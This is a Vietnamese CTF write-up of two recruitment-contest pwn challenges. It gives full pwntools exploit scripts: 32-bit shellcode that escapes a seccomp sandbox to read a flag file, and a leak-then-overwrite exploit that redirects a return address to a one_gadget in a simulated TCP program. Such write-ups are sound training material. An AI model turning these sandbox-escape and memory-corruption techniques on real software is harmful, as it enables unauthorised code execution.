# Wanna.W1n Recruit CTF ## escape **Author: kur0** ![image](https://hackmd.io/_uploads/BJU4xnE-le.png) Mở ida lên thì ta thấy ở đây là bài nhập shellcode và thực thi shellcode. ![image](https://hackmd.io/_uploads/HJp1fn4beg.png) ![image](https://hackmd.io/_uploads/H1G0-3NZeg.png) Ta thấy ở đây có sandbox và nên ta dùng seccomp dump để xem các lệnh bị cấm ![image](https://hackmd.io/_uploads/Hk9lbhNWex.png) Sau khi dump ra thì ta thấy chúng hầu hết ban hết các lệnh cơ bản có thể dùng để mở file flag ![image](https://hackmd.io/_uploads/Bkxz7734-ex.png) Kết hợp từ hint và sau khi kiếm các wu về các bài có sandbox thì em nhận ra sự khác biệt là: **if (A != ARCH_X86_64)** ![image](https://hackmd.io/_uploads/HkxuN2EWlx.png) Từ đây suy luận ra việc chúng ta không nhất thiết phải dùng kiến trúc 64bit (arch_x86_64) mà chúng ta có thể dùng kiến trúc 32bit (arch_x86) nên chúng ta tiến hành tạo shellcode và chạy thử. Lưu ý khi tạo shellcode phải không chứa ký tự ```'\n'``` và ```NULL```![image](https://hackmd.io/_uploads/Sy9kOhN-eg.png) **Script:** ```python3= #!/usr/bin/env python3 from pwn import * context.log_level = 'debug' context.arch = 'amd64' def conn(): if args.LOCAL: r = process('./escape') # gdb.attach(r) else: r = remote("ctf.cnsc.com.vn", 32954) return r def main(): p = conn() # gdb.attach(p) shellcode = asm(""" xor rsi, rsi mov esi, 0xbabe058 xor rax, rax mov ax, 0xcafe shl rax, 28 or rsi, rax mov rsp, rsi xor ecx, ecx mov rcx, 0x67616c66 push rcx mov ebx, esp xor ecx, ecx xor eax, eax mov al, 5 int 0x80 xchg eax, ebx mov ecx, esp mov dl, 0x3f inc edx xor eax, eax mov al, 3 int 0x80 mov edx, eax mov ecx, esp mov bl, 1 xor eax, eax mov al, 4 int 0x80 """) p.sendlineafter(b'Choose an option:', b'1') p.sendlineafter(b'Send me your shellcode:', shellcode) p.sendlineafter(b'option:', b'2') p.interactive() if __name__ == "__main__": main() ``` Ban đầu em trỏ ```rsp``` vào 1 vùng nhớ có full quyền mà author đã ```mmap``` sẵn ```v6 = mmap((void *)0xCAFEBABE000LL, 0x1000uLL, 7, 34, 0, 0LL);``` để có thể ```push``` lên cho tiện. Nhưng nó không ra flag nên em debug thì có thấy rằng sau khi ```open``` thì thanh ghi ```rax = 0xfffffffffffffff2``` thì đây là lỗi ```bad address``` ![image](https://hackmd.io/_uploads/SyPTO3EZel.png) Từ đó em kiểm tra và nhớ lại rằng khi dùng cấu trúc 32bit thì các thanh ghi nó sử dụng cũng phải 32bit luôn vậy nên khi em trỏ ```rsp vào 0xCAFEBABE058``` thì thật ra khi ```int 0x80``` thì ```esp = 0xEBABE058```. Từ đó em nghĩ đến việc dùng ```mmap``` để tạo riêng 1 vùng chỉ sử dụng 32bit ```mmap((void *)0x12345678LL, 0x1111uLL, 7, 34, 0, 0LL);``` **Script hoàn chỉnh:** ```python3= #!/usr/bin/env python3 from pwn import * context.log_level = 'debug' context.arch = 'amd64' def conn(): if args.LOCAL: r = process('./escape') # gdb.attach(r) else: r = remote("ctf.cnsc.com.vn", 32954) return r def main(): p = conn() # gdb.attach(p) shellcode = asm(""" xor rax, rax xor rbx, rbx xor rcx, rcx xor rdx, rdx xor rsi, rsi xor rdi, rdi xor r15, r15 xor r14, r14 xor r13, r13 xor r12, r12 xor r11, r11 xor r10, r10 xor r9, r9 xor r8, r8 mov edi, 0x12345678 mov si, 0x1111 mov dl, 0x7 xor r9, r9 mov r10b, 0x22 mov al, 9 syscall mov esi, 0x12346789 mov esp, esi xor ecx, ecx mov r10, 0xffffff989e9399d0 xor r10, 0xffffffffffffffff push r10 xor r10, r10 mov ebx, esp xor ecx, ecx xor eax, eax mov al, 5 int 0x80 xchg eax, ebx mov ecx, esp mov dl, 0x3f inc edx xor eax, eax mov al, 3 int 0x80 mov edx, eax mov ecx, esp mov bl, 1 xor eax, eax mov al, 4 int 0x80 """) p.sendlineafter(b'Choose an option:', b'1') p.sendlineafter(b'Send me your shellcode:', shellcode) # input() p.sendlineafter(b'option:', b'2') p.interactive() if __name__ == "__main__": main() ``` ![image](https://hackmd.io/_uploads/rJG0EpVWgx.png) **Flag: W1{Esc4p3_5ecc0mp_was_3a5y!!!_fjJbKwkmHX}** ## Take control, pwner! **Author: an3ii11** ![image](https://hackmd.io/_uploads/rJzHpCbWee.png) <details> <summary>Nhấn vào đây để xem code C</summary> ```clike= #include <signal.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> // https://www.geeksforgeeks.org/tcp-ip-packet-format/ typedef struct { uint16_t source_port; uint16_t destination_port; uint32_t sequence_number; uint32_t acknowledgement_number; uint16_t offset_flags; uint16_t congestion_window; uint16_t checksum; uint16_t urgent_pointer; } tcp_header; typedef struct { tcp_header header; char data[0x400]; } tcp_packet; enum control_flag { FIN = 0x00000001, SYN = 0x00000002, RST = 0x00000004, PSH = 0x00000008, ACK = 0x00000010, URG = 0x00000020, }; uint16_t client_port; uint16_t server_port; int pipe_fd1[2]; int pipe_fd2[2]; int curr_SEQ; int curr_ACK; void init() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); setvbuf(stderr, 0, _IONBF, 0); } uint16_t offset(int offs) { return offs << 12; } uint16_t carry_around_add(uint16_t a, uint16_t b) { int c = a + b; return (c & 0xffff) + (c >> 16); } uint16_t calculate_checksum(tcp_packet *packet) { uint16_t old_checksum = packet->header.checksum; packet->header.checksum = 0; const char *as_char = (char *)packet; uint16_t res = 0; for (int i = 0; i < sizeof(tcp_packet); i += 2) { res = carry_around_add(res, *(uint16_t *)as_char); } packet->header.checksum = old_checksum; return ~res; } int client_send(char *data, int nbytes) { return write(pipe_fd1[1], &nbytes, 4) > 0 && write(pipe_fd1[1], data, nbytes) > 0; } int client_recv(char *buf) { int nbytes = 0; int res = read(pipe_fd2[0], &nbytes, 4) > 0 && read(pipe_fd2[0], buf, nbytes) > 0; return ((tcp_packet *)buf)->header.checksum == calculate_checksum((tcp_packet *)buf) && res; } int server_send(char *data, int nbytes) { return write(pipe_fd2[1], &nbytes, 4) > 0 && write(pipe_fd2[1], data, nbytes) > 0; } int server_recv(char *buf, int *size) { int nbytes = 0; int res = read(pipe_fd1[0], &nbytes, 4) > 0 && read(pipe_fd1[0], buf, nbytes) > 0 && (*size = nbytes); return ((tcp_packet *)buf)->header.checksum == calculate_checksum((tcp_packet *)buf) && res; } void client() { char raw_data[0x800]; char received_data[0x800]; tcp_packet syn_packet = { client_port, server_port, 0, -1, offset(0x20) | SYN, 0x400, 0, 0, }; syn_packet.header.checksum = calculate_checksum(&syn_packet); tcp_packet data_packet1 = { client_port, server_port, 1, 1, offset(0x20) | ACK, 0x400, 0, }; tcp_packet fin_packet = { client_port, server_port, 1, 1, offset(0x20) | FIN, 0x400, 0, }; tcp_packet data_packet2 = { client_port, server_port, 1, 1, offset(0x20) | ACK, 0x400, 0, }; int nbytes = 0; puts("[+ CLIENT] Developing connection."); puts("[+ CLIENT] Requesting connection from server."); if (!client_send((char *)&syn_packet, sizeof(tcp_header))) { puts("[+ CLIENT] Developing connection failed."); exit(-1); } puts("[+ CLIENT] Waiting for SYNACK from server"); if (client_recv(received_data) && ((tcp_packet *)received_data)->header.offset_flags & (SYN | ACK)) { puts("[+ CLIENT] Received SYNACK from server. Connection successfully " "developed."); } else { puts("[+ CLIENT] Failed developing connection."); exit(-1); } printf("Enter data: "); nbytes = read(STDIN_FILENO, raw_data, 0x800); printf("[+ CLIENT] Sending data: %s\n", raw_data); if (nbytes <= 0x400) { memcpy(data_packet1.data, raw_data, nbytes); puts("[+ CLIENT] Calculating checksum."); data_packet1.header.checksum = calculate_checksum(&data_packet1); puts("[+ CLIENT] Sending data to server."); if (!client_send((char *)&data_packet1, nbytes + sizeof(tcp_header))) { puts("[+ CLIENT] Failed sending data to server."); exit(-1); } puts("[+ CLIENT] Sending data succeeds."); } else { puts("[+ CLIENT] Data length is larger than congestion window. Seperating " "into 2 packets."); memcpy(data_packet1.data, raw_data, 0x400); memcpy(data_packet2.data, raw_data + 0x400, nbytes - 0x400); puts("[+ CLIENT] Calculating checksum."); data_packet1.header.checksum = calculate_checksum(&data_packet1); data_packet2.header.checksum = calculate_checksum(&data_packet2); data_packet2.header.sequence_number = 0x400; char *tmp = malloc(sizeof(tcp_packet) * 2); memcpy(tmp, &data_packet1, sizeof(tcp_packet)); memcpy(tmp + sizeof(tcp_packet), &data_packet2, sizeof(tcp_header) + nbytes - 0x400); puts("[+ CLIENT] Sending data to server."); if (!client_send(tmp, nbytes + sizeof(tcp_header) * 2)) { puts("[+ CLIENT] Failed sending data to server."); exit(-1); } puts("[+ CLIENT] Sending data succeeds."); free(tmp); } puts("[+ CLIENT] Waiting response from server"); if (client_recv(received_data) && ((tcp_packet *)received_data)->header.offset_flags & ACK) puts("[+ CLIENT] Received ACK from server. Data sent successfully."); else { puts("[+ CLIENT] Did not receive ACK from server. Internal server error."); exit(-1); } } void server() { char *tmp = malloc(0x1000); char received_data[0x800 + sizeof(tcp_header)]; int nbytes; int received_len = 0; tcp_packet fin_packet = { client_port, server_port, 1, 1, offset(0x20) | FIN, 0x400, 0, }; tcp_packet syn_ack_packet = { client_port, server_port, 1, 1, offset(0x20) | SYN | ACK, 0x400, 0, }; syn_ack_packet.header.checksum = calculate_checksum(&syn_ack_packet); tcp_packet ack_packet = { client_port, server_port, 1, 1, offset(0x20) | ACK, 0x400, 0, }; puts("[+ SERVER] Waiting for SYN packet from client."); if (!server_recv(received_data, &nbytes) || (((tcp_packet *)received_data)->header.offset_flags & SYN) == 0) { puts("[+ SERVER] Did not receive SYN packet from client. Failed developing " "connection."); exit(-1); } puts("[+ SERVER] Received SYN packet from client. Sending back SYNACK " "packet."); if (!server_send((char *)&syn_ack_packet, sizeof(tcp_header))) { puts("[+ SERVER] Failed sending SYNACK to client"); exit(-1); } puts("[+ SERVER] Sending SYNACK packet succeeds."); puts("[+ SERVER] Waiting for ACK packet from client."); if (!server_recv(received_data, &nbytes) || (((tcp_packet *)received_data)->header.offset_flags & ACK) == 1) { puts("[+ SERVER] Did not receive ACK from client."); exit(-1); } puts("[+ SERVER] Received ACK from client"); if (nbytes < sizeof(tcp_packet)) { memcpy(tmp, ((tcp_packet *)received_data)->data, nbytes - sizeof(tcp_header)); ack_packet.header.acknowledgement_number = nbytes - sizeof(tcp_header); } else { memcpy(tmp, ((tcp_packet *)received_data)->data, 0x400); memcpy(tmp + sizeof(tcp_packet), ((tcp_packet *)(received_data + sizeof(tcp_packet)))->data, nbytes - 0x400 - sizeof(tcp_header) * 2); ack_packet.header.acknowledgement_number = nbytes - sizeof(tcp_header) * 2 - 0x400; } ack_packet.header.checksum = calculate_checksum(&ack_packet); printf("[+ SERVER] Data received: %s", tmp); puts("[+ SERVER] Sending back ACK to client"); if (!server_send((char *)&ack_packet, sizeof(tcp_header))) { puts("[+ SERVER] Failed sending ACK to client"); exit(-1); } } void start_routine() { if (pipe(pipe_fd1) == -1 || pipe(pipe_fd2) == -1) { perror("Error creating pipe. Exiting"); exit(-1); } pid_t pid = fork(); if (fork < 0) { perror("Error forking process. Exiting"); exit(-1); } if (pid > 0) { while (1) { client(); char c; printf("Continue? [y/n]\n"); c = getchar(); getchar(); if (c == 'n') { kill(pid, 9); break; } } } else while (1) server(); } int main(int argc, char *argv[]) { init(); puts("This is a super simplified TCP transport protocol simulation."); printf("Enter client port: "); scanf("%hd", &client_port); printf("Enter server port: "); scanf("%hd", &server_port); getchar(); start_routine(); return EXIT_SUCCESS; } ``` </details> Đầu tiên ta thấy đây là 1 chương trình khá dài, tóm gọn chương trình đang mô phỏng 1 phiên làm việc của TCP Phân tích hàm ```server()``` và ```client()``` Ở đây ta thấy được ```server_recv``` 2 TCP packet có độ lớn là: ```0x400 + 0x14``` ![image](https://hackmd.io/_uploads/S1a1lSG-gl.png) Nhưng recveived_data chỉ được khai báo ```0x800 + sizeof(tcp_header)``` tức ```0x800 + 0x14```. Vậy từ đó có thể ghi đè qua ```tmp``` ![image](https://hackmd.io/_uploads/B164xJfWgl.png) Ở đây ta thấy ta có thể tận dụng ```printf``` để leak ra data mà ta cần vì printf sẽ in đến khi nào gặp được ```\0``` ![image](https://hackmd.io/_uploads/S1I92gBWll.png) Sau 1 hồi debug và spam linh tinh thì em leak được stack, libc từ đó kết hợp cùng với one_gadget ![image](https://hackmd.io/_uploads/B157gZBWxl.png) Nhờ việc ghi đè được lên ```tmp``` ta tận dụng memcpy để chuyển hướng return_address (tính được khi leak được stack) -> one_gadget **Script:*** ```python3= #!/usr/bin/env python3 from pwn import * exe = ELF("./take_control_pwner") # libc = ELF("./libc.so.6", checksec=False) # ld = ELF("./ld-linux-x86-64.so.2", checksec=False) context.binary = exe # context.log_level = 'debug' def conn(): if args.LOCAL: r = process([exe.path]) else: r = remote("addr", 1337) return r def main(): p = conn() sc = ''' set follow-fork-mode parent b* client+629 c ''' sc = ''' set follow-fork-mode child ''' # gdb.attach(p, gdbscript = sc) def leaking(): data = p.recvline()[:-1] something = u64(data.ljust(8, b'\x00')) return something p.sendlineafter(b'Enter client port: ', b'1337') p.sendlineafter(b'Enter server port: ', b'1337') payload = 0x38 * b'A' # payload = 0x8 * b'A' # payload = b'hnnef' p.sendafter(b'Enter data:', payload) # p.sendlineafter(b'Continue? [y/n]', b'y') # p.sendafter(b'Enter data:', payload) p.recvuntil(b'[+ CLIENT] Sending data: ' + payload) something = leaking() # print(hex(something)) libc_base = something - 0x11c574 one_gadget = libc_base + 0xebd43 xor_rax = libc_base + 0x00000000000baaf9 log.info(f"libc_base: {hex(libc_base)}") log.info(f"one_gadget: {hex(one_gadget)}") log.info(f"xor_rax: {hex(xor_rax)}") p.sendlineafter(b'Continue? [y/n]', b'y') payload = 0x738 * b'A' p.sendafter(b'Enter data:', payload) p.recvuntil(b'[+ CLIENT] Sending data: ' + payload) stack = leaking() ret_addr = stack - 0x8 log.info(f"stack: {hex(stack)}") log.info(f"ret_addr: {hex(ret_addr)}") p.sendlineafter(b'Continue? [y/n]', b'y') new_rbp = stack - 0x5000 log.info(f"new_rbp: {hex(new_rbp)}") payload = flat( p64(xor_rax), p64(one_gadget), p64(0) * 252, p64(ret_addr) ) p.sendafter(b'Enter data:', payload) p.interactive() if __name__ == "__main__": main() ```